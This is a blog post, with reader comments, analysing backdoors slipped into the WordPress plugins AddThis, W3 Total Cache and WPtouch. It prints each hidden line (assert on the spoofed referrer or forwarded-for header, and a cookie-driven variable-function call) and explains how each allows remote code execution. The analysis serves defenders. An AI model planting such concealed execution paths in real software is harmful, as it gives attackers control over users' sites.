If you have not heard about the unauthorized SVN commits to the WordPress.org plugin repository for the plugins AddThis, WPTouch, and W3 Total Cache, you may want to read the post on the WordPress.org blog first. This event has prompted a WordPress.org password reset for all registered users. While these are three high profile examples that happened in the last 48 hours, a similar incident happened back in February.
In February, WP-Polls and WP-PostRatings by Lester Chan were both victims of malicious commits by someone who discovered Lester’s WP.org password. Lester details the evil code in his post Code Injection Follow Up. The evil code in this case involved spoofing the HTTP Referrer allowing arbitrary code execution though the WordPress function links_add_base_url
.
AddThis
The bad code added to AddThis was the first that I was able to find and identity. Line 47 of addthis_social_widget.php:
$addthis_languages = array(''=>'Automatic','af'=>'Afrikaaner', 'ar'=>'Arabic', 'zh'=>'Chinese', 'cs'=>'Czech', 'da'=>'Danish', 'nl'=>'Dutch', 'en'=>'English', 'fa'=>'Farsi', 'fi'=>'Finnish', 'fr'=>'French', 'ga'=>'Gaelic', 'de'=>'German', 'el'=>'Greek', 'he'=>'Hebrew', 'hi'=>'Hindi', 'it'=>'Italian', 'ja'=>'Japanese', 'ko'=>'Korean', 'lv'=>'Latvian', 'lt'=>'Lithuanian', 'no'=>'Norwegian', 'pl'=>'Polish', 'pt'=>'Portugese', 'ro'=>'Romanian', 'ru'=>'Russian', 'sk'=>'Slovakian', 'sl'=>'Slovenian', 'es'=>'Spanish', 'sv'=>'Swedish', 'th'=>'Thai', 'ur'=>'Urdu', 'cy'=>'Welsh', 'vi'=>'Vietnamese', 're'=>@assert(wp_get_referer()));
See that? The hacker added an assert statement to the array for languages. If you are unfamiliar with the assert
function in PHP, it allows you to execute arbitrary code contained within a string, in addition to the usual assert
duties. In this case, the attacker would spoof the referrer string so that it contains arbitrary code, which assert will happily execute. The @ suppresses any errors that may arise. Without error suppression every user that was not trying to attack the site would see errors, and the backdoor would be found easily.
The code used is clever as it employees a WordPress function, making the attack specialized, normal/lazy hacks would directly access $_SERVER['HTTP_REFERER']
rather than wp_get_referrer()
. This is similar to the behavior seen in the WP-Polls and WP-PageRatings attacks.
W3C Total Cache
W3C Total Cache is the second plugin to have an assert statement added. Lines 750 through 754 ofPgCache.php:
if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) { $this->cache_reject_reason = 'proxy'; return false; }
In conjunction with the assert
statement, we have checks against the $_SERVER
super global. Attackers can easily spoof the HTTP_X_FORWARD_FOR header, sending in what ever they want. Like before, assert
does the dirty work and executes whatever string is passed to it through $_SERVER['HTTP_X_FORWARD_FOR']
. Rather than suppress error messages, the attacker just checks to ensure the requester sent the HTTP_X_FORWARD_FOR header. Most people will not see errors, and that’s all the attacker cares about in this case.
The clever part of this code is not so much the code itself, but the comment above it. It is written in a way to blend in with the surrounding code. It matches the coding style of the plugin author very well. Most people glancing at the code probably would not notice this right away.
WPtouch
The last code attack is different from the others in that it does not use the assert
statement. Lines 513, 514 in wptouch.php:
if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2])) $this->desired_view = $matches[1].$matches[2];
Not seeing the evil code? It’s hiding in the if statement, $matches[1]($matches[2])
is the evil part that will perform function execution. How? A really cool, and evil, feature of PHP called Variable Functions. In this case, if $matches[1]
contains the string “eval” or “assert”, whatever is contained within $matches[2]
will be executed. Cool, right? To exploit this chunk of code, the attacker needs to have a specially crafted cookie that when run through preg_match
and the specified regular expression splits the matches into the executable function and string of PHP code.
Like the other three, the evil code at first glance seems to fit right in with the plugin. I missed it the first few times I was looking around the revision diffs for WPtouch. The use of variable functions is quite clever, and not many people know about them. Additionally, while I can perform a grep for “assert” to find the first two hacks, doing a bulk search for a variable function use is not as easy.
All three of these are very different from past backdoors that we have seen. They are not as overly obvious as the BlogPress SEO backdoor, and do not employee the usual base64 encoding and eval
statements. In the past, some pointed to the WordPress.org repositories as the safe source for plugins and themes. While it is safer than other places on the Internet, as we have seen today, it is not perfect. In this case, the commits were made by the same user name as the normal developers. This points to other issues, but they’re being taken care of.
-John Havlik
[end of transmission, stay tuned]
Wow, I hadn’t heard about this. Thanks for the heads up.
I first saw the announcement in a tweet last night from the official WordPress twitter account. Then my curiosity ended up killing my evening :)
-John Havlik
Great post, thanks for showing us what to keep an eye out for.
Thanks. The WordPress folks didn’t point out the bad code, so I felt it should be dug up and shared. As an admin for Weblogs.us, I need to know what too look for to protect our users.
-John Havlik
Thanks for pointing out the details, don’t think i would have them myself.
Hello, i think my blog is hacked. what can i do now? what would be a emergency procedure?
Thanks for the detailed report. I did not find the time to have a look at the code myself yet – so big thx for saving my evening :-P
I’ll refer to you in my German summary of the situation, if that is ok?
Yeah that’s fine, this post was made out of pure interest into what the bad code was. It’s for the community to take and learn from :)
-John Havlik